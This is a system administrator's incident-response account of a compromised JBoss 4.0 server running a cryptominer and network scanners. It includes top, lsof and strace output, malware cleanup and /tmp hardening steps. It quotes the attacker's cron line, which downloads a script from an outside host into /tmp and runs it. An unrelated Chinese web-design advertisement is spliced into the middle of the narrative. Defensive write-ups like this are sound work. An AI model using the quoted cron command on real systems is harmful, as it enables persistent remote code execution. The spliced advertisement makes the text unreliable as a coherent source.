I work as a system administrator for a company monitoring around 20 servers running open source applications . One of the application we are using is Jboss . The Jboss version we are running is an old version (4.0) as per client requirement .We have upgraded jboss to the latest after this incident . Besides this we are using Nagios for application and Infrastructure monitoring.
The alarm of a server getting compromised raised on a Monday morning when we saw continuous Nagios high load alerts from the server running old version of Jboss . The alerts actually started coming from Saturday morning .
I immediately logged to the affected machine and the first few commands I run was w and top command .
创新互联专注于蕉岭网站建设服务及定制，我们拥有丰富的企业做网站经验。 热诚为您提供蕉岭营销型网站建设，蕉岭网站制作、蕉岭网页设计、蕉岭网站官网定制、小程序制作服务，打造蕉岭网络公司原创品牌,更为您提供蕉岭网站排名全网营销落地服务。
top command showed high load on the system with some perl commands running for 'jboss' user with CPU utilization around 100%
# top top - 15:03:03 up 22 days, 2:37, 1 user, load average: 29.02, 28.40, 23.27 Tasks: 310 total, 3 running, 307 sleeping, 0 stopped, 0 zombie Cpu(s): 9.7%us, 3.6%sy, 0.0%ni, 86.6%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Mem: 66006160k total, 10932412k used, 55073748k free, 672448k buffers Swap: 8193108k total, 0k used, 8193108k free, 7534248k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 19058 jboss 25 0 90228 5720 1252 R 100.1 0.0 9:58.71 perl 16965 jboss 25 0 90316 5844 1296 R 99.8 0.0 453:27.66 perl ......
......
These perl process are unknown to me and no such process are suppose to run with jboss user. I started checking for memory and disk utilization and they looked normal. Went further on investigation and looked for network bandwidth usage on the host. We are using MRTG and Cacti for monitoring bandwidth usage and MRTG is showing bandwidth link utilisation of more than 100% for ethernet interface on this host. Interestingly , outgoing traffic is beyond 100% utilization and so I suspected that probably our machine is being used as a zombie machine to target other machines on Internet .
I proceeded further . Identified those files which are being used by these perl process . I used losof and strace to collect these information .
# lsof -p 16965 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME perl 16965 jboss cwd DIR 104,2 4096 1996897 /var/tmp
perl 16965 jboss cwd DIR 104,2 4096 1996897 /dev/shm
perl 16965 jboss rtd DIR 104,9 4096 2 / perl 16965 jboss txt REG 104,3 19208 1993621 /usr/bin/perl perl 16965 jboss mem REG 104,9 139416 262462 /lib64/ld-2.5.so perl 16965 jboss mem REG 104,9 1717800 262463 /lib64/libc-2.5.so ......
......
perl 16965 jboss mem REG 104,9 23736 262169 /lib64/libnss_DNS-2.5.so perl 16965 jboss 0r FIFO 0,6 2859288169 pipe perl 16965 jboss 1w FIFO 0,6 2859288170 pipe perl 16965 jboss 2w FIFO 0,6 2859288171 pipe perl 16965 jboss 3u IPv4 2859288181 TCP web.example.com:39580->146.X.X.X:https (ESTABLISHED)
# lsof /tmp/ COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME pnscan 23415 jboss cwd DIR 104,7 4096 2 /tmp/ pnscan 24503 jboss cwd DIR 104,7 4096 2 /tmp/
lsof on these process showed some unknown binaries running from /var/tmp, /tmp and /dev/shm directory.
#cd /var/tmp
# ls -la total 108 drwxrwxrwt 2 root root 4096 Dec 4 15:49 . drwxr-xr-x 29 root root 4096 May 6 2013 .. -rw-rw-r-- 1 jboss jboss 1244 Nov 30 12:13 1 -rwxrwxr-x 1 jboss jboss 34775 Nov 20 12:24 9x9 -rw-rw-r-- 1 jboss jboss 38536 Nov 24 04:24 9x9.c -rwxrwxr-x 1 jboss jboss 11078 Nov 20 12:02 syn
# strace -p 23415
Process 23415 attached - interrupt to quit
[ Process PID=23415 runs in 32 bit mode. ]
poll([{fd=246, events=POLLOUT}], 1, 1000) = 0 (Timeout)
close(246) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 246
fcntl64(246, F_GETFL) = 0x2 (flags O_RDWR)
fcntl64(246, F_SETFL, O_RDWR|O_NONBLOCK) = 0connect(246, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("X.X.X.43")}, 16) = -1 EINPROGRESS (Operation now in progress)poll([{fd=246, events=POLLOUT}], 1, 1000) = 0 (Timeout)
close(246) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 246
fcntl64(246, F_GETFL) = 0x2 (flags O_RDWR)
fcntl64(246, F_SETFL, O_RDWR|O_NONBLOCK) = 0connect(246, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("X.X.X.51")}, 16) = -1 EINPROGRESS (Operation now in progress)poll([{fd=246, events=POLLOUT}], 1, 1000) = 0 (Timeout)
close(246) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 246
fcntl64(246, F_GETFL) = 0x2 (flags O_RDWR)
fcntl64(246, F_SETFL, O_RDWR|O_NONBLOCK) = 0connect(246, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr("X.X.X.204")}, 16) = -1 EINPROGRESS (Operation now in progress)
from one of strace command output , lots of connect sessions can be seen to different IP Address on Internet .
Also , can see a cron job set for jboss user.
# sudo -u jboss crontab -l @weekly wget -q http://X.X.X.26/scen -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh
1. Kill processes
# pkill -9 pnscan
# kill -9 16965 19058
2. Deleted unknown binaries
[root@web tmp]# rm -i * rm: remove regular file `1'? y rm: remove regular file `9x9'? y rm: remove regular file `9x9.c'? y rm: remove regular file `syn'? y
# rm -i /dev/shm/minerd* rm: remove regular file `/dev/shm/minerd'? y rm: remove regular file `/dev/shm/minerd.log'? y rm: remove regular file `/dev/shm/minerd.tar.gz'? y
3. Deleted cron for 'jboss' user
# sudo -u jboss crontab -r
1. Remove executable permission from /var , /var/tmp and /var/tmp
directory.
# lsof /tmp/ # umount /tmp/ umount: /tmp: device is busy umount: /tmp: device is busy # umount -l /tmp/
# Update /tmp entry in /etc/fstab with exec,nodev,nosuid options LABEL=/tmp /tmp ext3 defaults,noexec 1 2
To make the changes manually without reboot of host , mount /tmp with remount option .
# mount -o defaults,noexec,nodev,nosuid LABEL=/tmp /tmp/
2. Perform similar hardening for /var/tmp and /dev/shm directory.
3. Replace login shell for jboss user
#usermod -s /bin/false jboss
4 . Disabled home directory for jboss user
#usermod -d /home/jboss jboss
5. Disabled cron for jboss user
5.1 Add jboss entry in /etc/cron.deny
5.2 touch /var/spool/cron/jboss.disabled
These steps provided a sigh of relief for our team . We are actually able to prevent our server from being further compromised .
Best advice for a system getting compromised is to remove the machine from network and reinstall from scratch after completing all forensic analysis.
We followed that and after proper testing of applications on Jboss 6 , we migrated to the latest version.
